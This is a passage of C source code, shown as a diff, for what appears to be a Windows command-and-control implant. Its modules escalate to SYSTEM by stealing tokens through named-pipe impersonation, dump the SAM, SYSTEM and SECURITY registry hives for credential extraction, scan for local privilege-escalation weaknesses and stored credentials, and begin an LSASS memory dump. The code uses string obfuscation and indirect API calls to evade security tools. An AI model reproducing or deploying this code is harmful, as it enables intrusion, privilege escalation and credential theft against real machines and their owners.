if (!api->ImpersonateNamedPipeClient(ctx->pipe))
{
ctx->done = -1;
return 0;
}
HANDLE ht = NULL;
if (!api->OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE | TOKEN_QUERY, FALSE, &ht))
{
api->RevertToSelf();
ctx->done = -1;
return 0;
}
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
api->DuplicateTokenEx(ht, TOKEN_ALL_ACCESS, &sa,
SecurityImpersonation, TokenImpersonation, &ctx->token);
CloseHandle(ht);
api->RevertToSelf();
ctx->done = 1;
return 0;
}
static int _pipe_impersonate(gs_api_t *api, HANDLE *out, char *buf, size_t sz)
{
DWORD tick = GetTickCount();
char pipe_a[128];
snprintf(pipe_a, sizeof(pipe_a),
"\\\\.\\pipe\\svc%04lx\\pipe\\spoolss", tick & 0xFFFF);
HANDLE hp = api->CreateNamedPipeA(pipe_a,
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL);
if (hp == INVALID_HANDLE_VALUE)
{
snprintf(buf, sz, "e:np %lu\n", GetLastError());
return -1;
}
/* heap-allocate ctx so the thread never touches freed stack */
_pipe_ctx *ctx = (_pipe_ctx *)calloc(1, sizeof(_pipe_ctx));
if (!ctx)
{
CloseHandle(hp);
return -1;
}
ctx->api = api;
ctx->pipe = hp;
HANDLE ht = CreateThread(NULL, 0, _pipe_thread, ctx, 0, NULL);
if (!ht)
{
CloseHandle(hp);
free(ctx);
return -1;
}
char dll_ws[13], fn_opw[13], fn_cpr[13];
EVS_D(dll_ws, EVS_dll_winspool);
HMODULE hw = LoadLibraryA(dll_ws);
SecureZeroMemory(dll_ws, sizeof(dll_ws));
if (hw)
{
typedef BOOL(WINAPI * fnOPW)(LPWSTR, HANDLE *, LPVOID);
typedef BOOL(WINAPI * fnCPR)(HANDLE);
EVS_D(fn_opw, EVS_fn_OpenPrinterW);
EVS_D(fn_cpr, EVS_fn_ClosePrinter);
fnOPW pOPW = (fnOPW)(void *)GetProcAddress(hw, fn_opw);
fnCPR pCPR = (fnCPR)(void *)GetProcAddress(hw, fn_cpr);
SecureZeroMemory(fn_opw, sizeof(fn_opw));
SecureZeroMemory(fn_cpr, sizeof(fn_cpr));
if (pOPW)
{
wchar_t host[MAX_COMPUTERNAME_LENGTH + 2];
DWORD hsz = MAX_COMPUTERNAME_LENGTH + 1;
_gcnw(host, &hsz);
wchar_t trigger[256];
_snwprintf(trigger, 256, L"\\\\%s/pipe/svc%04lx", host, tick & 0xFFFF);
HANDLE hpr = NULL;
pOPW(trigger, &hpr, NULL);
if (hpr && pCPR)
pCPR(hpr);
}
FreeLibrary(hw);
}
/* wait for thread; terminate if it didn't finish in time */
DWORD w = WaitForSingleObject(ht, 3000);
if (w != WAIT_OBJECT_0)
TerminateThread(ht, 0);
CloseHandle(ht);
CloseHandle(hp);
HANDLE tok = ctx->token;
int done = ctx->done;
free(ctx);
if (done != 1 || !tok)
{
snprintf(buf, sz, "e:pipe\n");
if (tok)
CloseHandle(tok);
return -1;
}
*out = tok;
snprintf(buf, sz, "ok:p\n");
return 0;
}
/* Method 3: spawn agent as SYSTEM via primary token */
static int _spawn_as_system(gs_api_t *api, HANDLE hImpTok, char *buf, size_t sz)
{
if (!api->CreateProcessWithTokenW && !api->CreateProcessAsUserW)
return -1;
/* Duplicate impersonation token to primary token */
HANDLE hPrim = NULL;
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
if (!api->DuplicateTokenEx(hImpTok, TOKEN_ALL_ACCESS, &sa,
SecurityImpersonation, TokenPrimary, &hPrim))
{
size_t off = strlen(buf);
snprintf(buf + off, sz - off,
"[gs] dup→primary failed: %lu\n", GetLastError());
return -1;
}
WCHAR exe[MAX_PATH] = {0};
GetModuleFileNameW(NULL, exe, MAX_PATH);
/* Tag child so C2 links it to this session. No gs_flagchild is already SYSTEM. */
char own_id[AGENT_ID_LEN + 1];
agent_gen_id(own_id);
agent_write_parent_id(own_id);
STARTUPINFOW si = {sizeof(si)};
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {0};
BOOL ok = FALSE;
DWORD flags = CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP;
if (api->CreateProcessWithTokenW)
ok = api->CreateProcessWithTokenW(
hPrim, LOGON_WITH_PROFILE, exe, NULL, flags, NULL, NULL, &si, &pi);
if (!ok && api->CreateProcessAsUserW)
{
/* LOGON_WITH_PROFILE not needed for CreateProcessAsUserW */
HANDLE hPrim2 = NULL;
if (api->DuplicateTokenEx(hImpTok, TOKEN_ALL_ACCESS, &sa,
SecurityImpersonation, TokenPrimary, &hPrim2))
{
ok = api->CreateProcessAsUserW(
hPrim2, exe, NULL, NULL, NULL, FALSE, flags, NULL, NULL, &si, &pi);
CloseHandle(hPrim2);
}
}
CloseHandle(hPrim);
if (!ok)
{
size_t off = strlen(buf);
snprintf(buf + off, sz - off, "e:cp %lu\n", GetLastError());
return -1;
}
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
size_t off = strlen(buf);
snprintf(buf + off, sz - off, "ok:s %lu\n", (unsigned long)pi.dwProcessId);
return 0;
}
/* AlwaysInstallElevated check */
static void _check_aie(char *buf, size_t sz)
{
volatile unsigned char _k = EVS_KEY;
char _rp[52], _rv[22];
for (int _i = 0; _i < (int)sizeof(EVS_str_reg_installer_policy); _i++)
_rp[_i] = (char)(EVS_str_reg_installer_policy[_i] ^ _k);
_rp[sizeof(EVS_str_reg_installer_policy)] = '\0';
for (int _i = 0; _i < (int)sizeof(EVS_str_AlwaysInstallElevated); _i++)
_rv[_i] = (char)(EVS_str_AlwaysInstallElevated[_i] ^ _k);
_rv[sizeof(EVS_str_AlwaysInstallElevated)] = '\0';
DWORD hklm = 0, hkcu = 0, cb = sizeof(DWORD);
RegGetValueA(HKEY_LOCAL_MACHINE, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hklm, &cb);
cb = sizeof(DWORD);
RegGetValueA(HKEY_CURRENT_USER, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hkcu, &cb);
SecureZeroMemory(_rp, sizeof(_rp));
SecureZeroMemory(_rv, sizeof(_rv));
size_t off = strlen(buf);
if (off >= sz - 1)
return;
if (hklm == 1 && hkcu == 1)
{
char _t1[] = {'[', 'g', 's', ']', ' ', 'A', 'I', 'E', '=', 'V', 'U', 'L', 'N',
'E', 'R', 'A', 'B', 'L', 'E', ' ', '(', 'H', 'K', 'L', 'M', '+',
'H', 'K', 'C', 'U', '=', '1', ')', '\n', 0};
snprintf(buf + off, sz - off, "%s", _t1);
}
else
snprintf(buf + off, sz - off,
"[gs] AIE=no (HKLM=%lu HKCU=%lu)\n",
hklm, hkcu);
}
int cmd_getsystem(const char *args, char *out, size_t sz)
{
(void)args;
memset(out, 0, sz);
gs_api_t api;
if (_resolve_apis(&api) != 0)
{
snprintf(out, sz, "e:api\n");
return -1;
}
/* check SeImpersonatePrivilege */
{
HANDLE htok = NULL;
if (api.OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok))
{
LUID luid = {0};
char _sp[24];
volatile unsigned char _k = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_str_SeImpersonatePrivilege); _i++)
_sp[_i] = (char)(EVS_str_SeImpersonatePrivilege[_i] ^ _k);
_sp[sizeof(EVS_str_SeImpersonatePrivilege)] = '\0';
api.LookupPrivilegeValueA(NULL, _sp, &luid);
SecureZeroMemory(_sp, sizeof(_sp));
PRIVILEGE_SET ps;
ps.PrivilegeCount = 1;
ps.Control = 0;
ps.Privilege[0].Luid = luid;
ps.Privilege[0].Attributes = 0;
BOOL has = FALSE;
api.PrivilegeCheck(htok, &ps, &has);
CloseHandle(htok);
if (!has)
{
char _nm[] = {'[', 'g', 's', ']', ' ', 'S', 'e', 'I', 'm', 'p', 'e', 'r', 's', 'o',
'n', 'a', 't', 'e', ' ', 'n', 'o', 't', ' ', 'h', 'e', 'l', 'd', '\n', 0};
snprintf(out, sz, "%s", _nm);
_check_aie(out, sz);
return -1;
}
}
}
evasion_apply_thread(GetCurrentThread());
HANDLE sys_tok = NULL;
int rc = _steal_system_token(&api, &sys_tok, out, sz);
if (rc != 0)
rc = _pipe_impersonate(&api, &sys_tok, out, sz);
if (rc == 0 && sys_tok)
{
/* Primary: spawn agent with primary SYSTEM token (bypasses GPO/AppLocker) */
int spawn_rc = _spawn_as_system(&api, sys_tok, out, sz);
/* Also apply thread impersonation so current session is SYSTEM */
api.SetThreadToken(NULL, sys_tok);
CloseHandle(sys_tok);
if (spawn_rc == 0)
{
size_t off = strlen(out);
if (off < sz - 1)
snprintf(out + off, sz - off, "ok\n");
return 0;
}
size_t off = strlen(out);
if (off < sz - 1)
snprintf(out + off, sz - off, "ok:thr\n");
return 0;
}
size_t off = strlen(out);
if (off < sz - 1)
snprintf(out + off, sz - off, "e:all\n");
_check_aie(out, sz);
return -1;
}
+122
View File
@@ -0,0 +1,122 @@
#include "commands.h"
#include "adv_lazy.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
static int _save_hive(HKEY root, const char *subkey,
const char *out_path,
char *msg, size_t msgsz)
{
/* remove existing file first (RegSaveKeyA fails if it exists) */
DeleteFileA(out_path);
HKEY hk = NULL;
LONG rc = RegOpenKeyExA(root, subkey, 0, KEY_READ, &hk);
if (rc != ERROR_SUCCESS) {
snprintf(msg, msgsz, "[hd] RegOpenKeyEx(%s) failed: %ld\n",
subkey, rc);
return -1;
}
rc = RegSaveKeyA(hk, out_path, NULL);
RegCloseKey(hk);
if (rc != ERROR_SUCCESS) {
snprintf(msg, msgsz, "[hd] RegSaveKey(%s) failed: %ld\n",
subkey, rc);
return -1;
}
LARGE_INTEGER sz = {0};
HANDLE hf = CreateFileA(out_path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hf != INVALID_HANDLE_VALUE) {
GetFileSizeEx(hf, &sz);
CloseHandle(hf);
}
snprintf(msg, msgsz, " %-10s → %s (%llu bytes)\n",
subkey, out_path, (unsigned long long)sz.QuadPart);
return 0;
}
int cmd_hashdump(const char *dir, char *output_buf, size_t output_size)
{
char out_dir[MAX_PATH];
if (dir && dir[0]) {
strncpy(out_dir, dir, sizeof(out_dir) - 1);
out_dir[sizeof(out_dir) - 1] = '\0';
} else {
GetTempPathA(sizeof(out_dir), out_dir);
}
/* strip trailing backslash */
size_t dlen = strlen(out_dir);
if (dlen > 0 && out_dir[dlen - 1] == '\\')
out_dir[--dlen] = '\0';
/* SeBackupPrivilege LUID={17,0}, SeSecurityPrivilege LUID={8,0} — constant on all NT */
{
const adv_api_t *_a = adv_get();
HANDLE _tok = NULL;
if (_a->OpenProcessToken && _a->AdjustTokenPrivileges &&
_a->OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &_tok)) {
TOKEN_PRIVILEGES _tp;
_tp.PrivilegeCount = 1;
_tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_tp.Privileges[0].Luid.LowPart = 17; _tp.Privileges[0].Luid.HighPart = 0;
_a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
_tp.Privileges[0].Luid.LowPart = 8;
_a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
CloseHandle(_tok);
}
}
char sam_path[MAX_PATH], sys_path[MAX_PATH], sec_path[MAX_PATH];
snprintf(sam_path, sizeof(sam_path), "%s\\sam.hive", out_dir);
snprintf(sys_path, sizeof(sys_path), "%s\\system.hive", out_dir);
snprintf(sec_path, sizeof(sec_path), "%s\\security.hive", out_dir);
size_t pos = 0;
int n = snprintf(output_buf + pos, output_size - pos,
"[hd] saving hives to %s\n", out_dir);
if (n > 0) pos += (size_t)n;
static const struct { HKEY root; const char *key; } hives[] = {
{HKEY_LOCAL_MACHINE, "SAM"},
{HKEY_LOCAL_MACHINE, "SYSTEM"},
{HKEY_LOCAL_MACHINE, "SECURITY"},
};
static const char *paths[] = {NULL, NULL, NULL};
/* assign at runtime */
char *ppaths[3];
ppaths[0] = sam_path;
ppaths[1] = sys_path;
ppaths[2] = sec_path;
int any_ok = 0;
for (int i = 0; i < 3; i++) {
char msg[512];
int rc = _save_hive(hives[i].root, hives[i].key, ppaths[i],
msg, sizeof(msg));
n = snprintf(output_buf + pos, output_size - pos, "%s", msg);
if (n > 0) pos += (size_t)n;
if (rc == 0) any_ok++;
}
if (any_ok == 0) {
n = snprintf(output_buf + pos, output_size - pos,
"[hd] all failed - try st on a SYSTEM process first\n");
if (n > 0) pos += (size_t)n;
return -1;
}
n = snprintf(output_buf + pos, output_size - pos,
"[hd] extract creds:\n"
" secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL\n");
if (n > 0) pos += (size_t)n;
(void)paths;
return 0;
}
File diff suppressed because it is too large Load Diff
+412
View File
@@ -0,0 +1,412 @@
#include "adv_lazy.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <aclapi.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef BOOL (WINAPI *fn_CredEnum_t)(LPCSTR, DWORD, DWORD *, void ***);
typedef VOID (WINAPI *fn_CredFree_t)(PVOID);
/* CREDENTIAL layout */
typedef struct {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PVOID Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CRED_A;
/* impersonation token required by AccessCheck */
static HANDLE _dup_imp(void)
{
const adv_api_t *adv = adv_get();
HANDLE h = NULL, hi = NULL;
if (!adv->OpenProcessToken ||
!adv->OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_QUERY, &h))
return NULL;
SECURITY_ATTRIBUTES sa = {sizeof(sa)};
if (adv->DuplicateTokenEx)
adv->DuplicateTokenEx(h, TOKEN_ALL_ACCESS, &sa,
SecurityImpersonation, TokenImpersonation, &hi);
CloseHandle(h);
return hi;
}
/* returns 1 if current user can write to path (file or dir) */
static int _can_write(const char *path, HANDLE himp)
{
if (!himp) return 0;
PSECURITY_DESCRIPTOR pSD = NULL;
DWORD err = GetNamedSecurityInfoA((LPSTR)path, SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION|OWNER_SECURITY_INFORMATION|GROUP_SECURITY_INFORMATION,
NULL, NULL, NULL, NULL, &pSD);
if (err != ERROR_SUCCESS) return 0;
DWORD mask = FILE_WRITE_DATA | FILE_APPEND_DATA;
GENERIC_MAPPING gm = {FILE_GENERIC_READ, FILE_GENERIC_WRITE,
FILE_GENERIC_EXECUTE, FILE_ALL_ACCESS};
MapGenericMask(&mask, &gm);
PRIVILEGE_SET ps; DWORD ps_sz = sizeof(ps);
DWORD granted = 0; BOOL ok = FALSE;
AccessCheck(pSD, himp, mask, &gm, &ps, &ps_sz, &granted, &ok);
LocalFree(pSD);
return ok ? 1 : 0;
}
/* append-safe snprintf wrapper */
#define APPF(buf, off, sz, ...) \
do { int _n = snprintf((buf)+*(off), (sz)-*(off), __VA_ARGS__); \
if (_n > 0) *(off) += (size_t)_n; } while(0)
/* ------------------------------------------------------------------ */
/* 1. SeImpersonatePrivilege */
/* ------------------------------------------------------------------ */
static void _chk_seimpersonate(char *out, size_t *off, size_t sz)
{
const adv_api_t *adv = adv_get();
HANDLE h = NULL;
if (!adv->OpenProcessToken ||
!adv->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &h)) return;
DWORD need = 0;
GetTokenInformation(h, TokenPrivileges, NULL, 0, &need);
TOKEN_PRIVILEGES *tp = (TOKEN_PRIVILEGES *)malloc(need);
if (!tp) { CloseHandle(h); return; }
if (GetTokenInformation(h, TokenPrivileges, tp, need, &need)) {
for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
char name[64] = {0}; DWORD nl = sizeof(name);
if (adv->LookupPrivilegeNameA)
adv->LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name, &nl);
char _sp[24]; { volatile unsigned char _k = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_str_SeImpersonatePrivilege); _i++)
_sp[_i] = (char)(EVS_str_SeImpersonatePrivilege[_i] ^ _k);
_sp[sizeof(EVS_str_SeImpersonatePrivilege)] = '\0'; }
if (_stricmp(name, _sp) == 0) {
BOOL en = (tp->Privileges[i].Attributes &
(SE_PRIVILEGE_ENABLED|SE_PRIVILEGE_ENABLED_BY_DEFAULT)) != 0;
APPF(out, off, sz, "[SeImpersonate] %s%s\n",
en ? "ENABLED" : "present/disabled",
en ? " → gs (pipe impersonation)" : "");
free(tp); CloseHandle(h); return;
}
}
}
free(tp); CloseHandle(h);
APPF(out, off, sz, "[SeImpersonate] not held\n");
}
/* ------------------------------------------------------------------ */
/* 2. AlwaysInstallElevated */
/* ------------------------------------------------------------------ */
static void _chk_aie(char *out, size_t *off, size_t sz)
{
/* Decode registry path + value name from EVS to avoid plaintext in .rdata */
volatile unsigned char _k = EVS_KEY;
char _rp[52], _rv[22];
for (int _i = 0; _i < (int)sizeof(EVS_str_reg_installer_policy); _i++)
_rp[_i] = (char)(EVS_str_reg_installer_policy[_i] ^ _k);
_rp[sizeof(EVS_str_reg_installer_policy)] = '\0';
for (int _i = 0; _i < (int)sizeof(EVS_str_AlwaysInstallElevated); _i++)
_rv[_i] = (char)(EVS_str_AlwaysInstallElevated[_i] ^ _k);
_rv[sizeof(EVS_str_AlwaysInstallElevated)] = '\0';
DWORD hklm = 0, hkcu = 0, cb = sizeof(DWORD);
RegGetValueA(HKEY_LOCAL_MACHINE, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hklm, &cb);
cb = sizeof(DWORD);
RegGetValueA(HKEY_CURRENT_USER, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hkcu, &cb);
SecureZeroMemory(_rp, sizeof(_rp)); SecureZeroMemory(_rv, sizeof(_rv));
if (hklm == 1 && hkcu == 1) {
char _t1[] = {'[','A','I','E',']',' ','V','U','L','N','E','R','A','B','L','E',
' ','(','H','K','L','M','+','H','K','C','U','=','1',')','\n',0};
APPF(out, off, sz, "%s", _t1);
} else
APPF(out, off, sz, "[AIE] not set (HKLM=%lu HKCU=%lu)\n", hklm, hkcu);
}
/* ------------------------------------------------------------------ */
/* 3 & 4. Service checks (unquoted paths + writable binaries) */
/* Opens SCM once, does both checks in one pass. */
/* ------------------------------------------------------------------ */
static void _extract_bin(const char *path, char *bin, size_t bin_sz)
{
if (!path || !path[0]) { bin[0] = 0; return; }
if (path[0] == '"') {
const char *e = strchr(path + 1, '"');
size_t l = e ? (size_t)(e - path - 1) : strlen(path + 1);
if (l >= bin_sz) l = bin_sz - 1;
strncpy(bin, path + 1, l); bin[l] = 0;
} else {
const char *sp = strchr(path, ' ');
size_t l = sp ? (size_t)(sp - path) : strlen(path);
if (l >= bin_sz) l = bin_sz - 1;
strncpy(bin, path, l); bin[l] = 0;
}
}
static void _chk_services(char *out, size_t *off, size_t sz, HANDLE himp)
{
const adv_api_t *adv = adv_get();
if (!adv->OpenSCManagerA || !adv->EnumServicesStatusExA ||
!adv->OpenServiceA || !adv->QueryServiceConfigA ||
!adv->CloseServiceHandle)
return;
SC_HANDLE scm = adv->OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (!scm) { APPF(out, off, sz, "[svc] SCM open failed: %lu\n", GetLastError()); return; }
DWORD bytes = 0, count = 0, resume = 0;
adv->EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
SERVICE_STATE_ALL, NULL, 0, &bytes, &count, &resume, NULL);
BYTE *buf = (BYTE *)malloc(bytes);
if (!buf) { adv->CloseServiceHandle(scm); return; }
int found_unq = 0, found_bin = 0;
if (adv->EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
SERVICE_STATE_ALL, buf, bytes, &bytes, &count, &resume, NULL))
{
ENUM_SERVICE_STATUS_PROCESS *svcs = (ENUM_SERVICE_STATUS_PROCESS *)buf;
for (DWORD i = 0; i < count && *off < sz - 1; i++) {
SC_HANDLE svc = adv->OpenServiceA(scm, svcs[i].lpServiceName,
SERVICE_QUERY_CONFIG);
if (!svc) continue;
DWORD cfg_sz = 0;
adv->QueryServiceConfigA(svc, NULL, 0, &cfg_sz);
QUERY_SERVICE_CONFIGA *cfg = (QUERY_SERVICE_CONFIGA *)malloc(cfg_sz);
if (!cfg) { adv->CloseServiceHandle(svc); continue; }
if (adv->QueryServiceConfigA(svc, cfg, cfg_sz, &cfg_sz)) {
const char *raw = cfg->lpBinaryPathName;
if (raw && raw[0]) {
char bin[MAX_PATH] = {0};
_extract_bin(raw, bin, sizeof(bin));
/* check writable service binary */
if (bin[0] && GetFileAttributesA(bin) != INVALID_FILE_ATTRIBUTES
&& _can_write(bin, himp)) {
const char *acct = cfg->lpServiceStartName
? cfg->lpServiceStartName : "?";
APPF(out, off, sz, "[svc-write] %s account=%s\n binary: %s\n",
svcs[i].lpServiceName, acct, bin);
found_bin = 1;
}
/* check unquoted path with spaces */
if (raw[0] != '"' && strchr(raw, ' ')) {
/* enumerate hijack candidates: split on spaces */
char work[MAX_PATH * 2];
strncpy(work, raw, sizeof(work) - 1);
work[sizeof(work) - 1] = 0;
char *p = work;
/* skip past first token that has no space (e.g. "C:\") */
while (*p) {
char *sp = strchr(p, ' ');
if (!sp) break;
*sp = 0; /* temp null at space */
/* candidate exe = work + ".exe" */
char cand[MAX_PATH + 4];
snprintf(cand, sizeof(cand), "%s.exe", work);
/* check parent dir writable (to drop the exe) */
char parent[MAX_PATH];
strncpy(parent, work, sizeof(parent) - 1);
char *sl = strrchr(parent, '\\');
if (sl) { *sl = 0;
if (GetFileAttributesA(parent) != INVALID_FILE_ATTRIBUTES
&& _can_write(parent, himp)) {
APPF(out, off, sz,
"[unquoted] %s\n drop: %s\n dir writable: %s\n",
svcs[i].lpServiceName, cand, parent);
found_unq = 1;
}
}
*sp = ' '; /* restore */
p = sp + 1;
}
}
}
}
free(cfg);
adv->CloseServiceHandle(svc);
}
}
free(buf);
adv->CloseServiceHandle(scm);
if (!found_bin) APPF(out, off, sz, "[svc-write] none writable\n");
if (!found_unq) APPF(out, off, sz, "[unquoted] none exploitable\n");
}
/* ------------------------------------------------------------------ */
/* 5. Writable autorun paths (HKLM/HKCU Run keys) */
/* ------------------------------------------------------------------ */
static void _chk_autoruns(char *out, size_t *off, size_t sz, HANDLE himp)
{
static const char *keys[] = {
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
NULL
};
HKEY roots[2] = { HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER };
const char *rnames[2] = { "HKLM", "HKCU" };
int found = 0;
for (int r = 0; r < 2; r++) {
for (int k = 0; keys[k] && *off < sz - 1; k++) {
HKEY hk = NULL;
if (RegOpenKeyExA(roots[r], keys[k], 0, KEY_READ, &hk) != ERROR_SUCCESS)
continue;
DWORD idx = 0;
char vname[256], vdata[1024];
DWORD vn, vd, vtype;
while (1) {
vn = sizeof(vname); vd = sizeof(vdata);
if (RegEnumValueA(hk, idx++, vname, &vn, NULL,
&vtype, (LPBYTE)vdata, &vd) != ERROR_SUCCESS) break;
if (vtype != REG_SZ && vtype != REG_EXPAND_SZ) continue;
char bin[MAX_PATH] = {0};
_extract_bin(vdata, bin, sizeof(bin));
if (bin[0] && GetFileAttributesA(bin) != INVALID_FILE_ATTRIBUTES
&& _can_write(bin, himp)) {
/* HKCU = persistence only (runs as current user)
HKLM = LPE vector (runs at system startup / all users) */
const char *tag = (r == 0) ? "[autorun-lpe]" : "[autorun-persist]";
APPF(out, off, sz, "%s %s\\%s → %s: %s\n",
tag, rnames[r], keys[k], vname, bin);
found = 1;
}
}
RegCloseKey(hk);
}
}
if (!found) APPF(out, off, sz, "[autorun] none writable\n");
}
/* ------------------------------------------------------------------ */
/* 6. Stored credentials (CredEnumerate — fully dynamic) */
/* ------------------------------------------------------------------ */
static void _chk_creds(char *out, size_t *off, size_t sz)
{
char _da[13];
EVS_D(_da, EVS_dll_advapi32);
HMODULE had = _peb_module(_da);
SecureZeroMemory(_da, sizeof(_da));
if (!had) return;
char s_ce[15], s_cf[9];
EVS_D(s_ce, EVS_fn_CredEnumerateA);
EVS_D(s_cf, EVS_fn_CredFree);
fn_CredEnum_t pCE = (fn_CredEnum_t)(void*)GetProcAddress(had, s_ce);
SecureZeroMemory(s_ce, sizeof(s_ce));
fn_CredFree_t pCF = (fn_CredFree_t)(void*)GetProcAddress(had, s_cf);
SecureZeroMemory(s_cf, sizeof(s_cf));
if (!pCE || !pCF) return;
DWORD count = 0; CRED_A **creds = NULL;
if (!pCE(NULL, 0, &count, (void***)&creds)) {
APPF(out, off, sz, "[creds] none (or access denied)\n");
return;
}
if (count == 0) {
APPF(out, off, sz, "[creds] vault empty\n");
} else {
APPF(out, off, sz, "[creds] %lu entry/entries:\n", count);
for (DWORD i = 0; i < count && *off < sz - 1; i++) {
CRED_A *c = creds[i];
/* type 1=generic 2=domain_password 3=domain_cert */
APPF(out, off, sz, " [%lu] target=%-40s user=%s blob=%lu bytes\n",
c->Type,
c->TargetName ? c->TargetName : "(null)",
c->UserName ? c->UserName : "(null)",
c->CredentialBlobSize);
}
}
pCF(creds);
}
/* ------------------------------------------------------------------ */
/* 0. UAC limited-admin token detection */
/* TokenElevationTypeLimited = user is local admin running filtered */
/* medium-IL token → UAC bypass + token steal → SYSTEM possible. */
/* ------------------------------------------------------------------ */
static void _chk_uac_limited(char *out, size_t *off, size_t sz)
{
HANDLE htok = NULL;
{ const adv_api_t *_a = adv_get();
if (!_a->OpenProcessToken || !_a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok)) return; }
TOKEN_ELEVATION_TYPE etype = TokenElevationTypeDefault;
DWORD cb = sizeof(etype);
GetTokenInformation(htok, TokenElevationType, &etype, cb, &cb);
/* Integrity level */
DWORD need = 0;
GetTokenInformation(htok, TokenIntegrityLevel, NULL, 0, &need);
TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(need);
DWORD il_rid = 0;
if (tml && GetTokenInformation(htok, TokenIntegrityLevel, tml, need, &need))
il_rid = *GetSidSubAuthority(tml->Label.Sid,
*GetSidSubAuthorityCount(tml->Label.Sid) - 1);
free(tml);
CloseHandle(htok);
const char *il_str = il_rid >= 0x4000 ? "SYSTEM"
: il_rid >= 0x3000 ? "HIGH"
: il_rid >= 0x2000 ? "MEDIUM"
: il_rid >= 0x1000 ? "LOW"
: "UNTRUSTED";
if (etype == TokenElevationTypeLimited) {
APPF(out, off, sz,
"[UAC] VULNERABLE - limited admin token (IL=%s)\n"
" → run: pe (UAC bypass + token steal → SYSTEM)\n"
" methods: COM moniker / fodhelper / sdclt (auto-fallback)\n",
il_str);
} else if (etype == TokenElevationTypeFull) {
APPF(out, off, sz,
"[UAC] already elevated (IL=%s) → run: gs\n", il_str);
} else {
APPF(out, off, sz,
"[UAC] default token (IL=%s) - not local admin, UAC bypass unavailable\n",
il_str);
}
}
/* ------------------------------------------------------------------ */
/* Entry point */
/* ------------------------------------------------------------------ */
int cmd_lpe_check(const char *args, char *out, size_t sz)
{
(void)args;
memset(out, 0, sz);
size_t off = 0;
APPF(out, &off, sz, "=== LPE CHECK ===\n");
HANDLE himp = _dup_imp();
_chk_uac_limited(out, &off, sz);
_chk_seimpersonate(out, &off, sz);
_chk_aie(out, &off, sz);
_chk_services(out, &off, sz, himp);
_chk_autoruns(out, &off, sz, himp);
_chk_creds(out, &off, sz);
if (himp) CloseHandle(himp);
return 0;
}
+399
View File
@@ -0,0 +1,399 @@
#include "commands.h"
#include "adv_lazy.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif
/* NtReadVirtualMemory — removes ReadProcessMemory from IAT */
typedef NTSTATUS (NTAPI *_lNtRVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
static _lNtRVM_t _lsass_nrvm(void) {
static _lNtRVM_t fn = NULL;
if (!fn) {
char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_NtReadVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtReadVirtualMemory[i] ^ k);
fs[sizeof(EVS_fn_NtReadVirtualMemory)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
ns[sizeof(EVS_dll_ntdll)] = '\0';
HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
if (m) fn = (_lNtRVM_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn;
}
/* minidump structures, packed */
#pragma pack(push, 4)
typedef struct { uint32_t Sig; uint16_t Ver; uint16_t ImplVer;
uint32_t N; uint32_t DirRva; uint32_t Csum;
uint32_t Ts; uint64_t Flags; } md_hdr_t; /* 32 */
typedef struct { uint32_t Sz; uint32_t Rva; } md_loc_t; /* 8 */
typedef struct { uint32_t Type; md_loc_t Loc; } md_dir_t; /* 12 */
typedef struct {
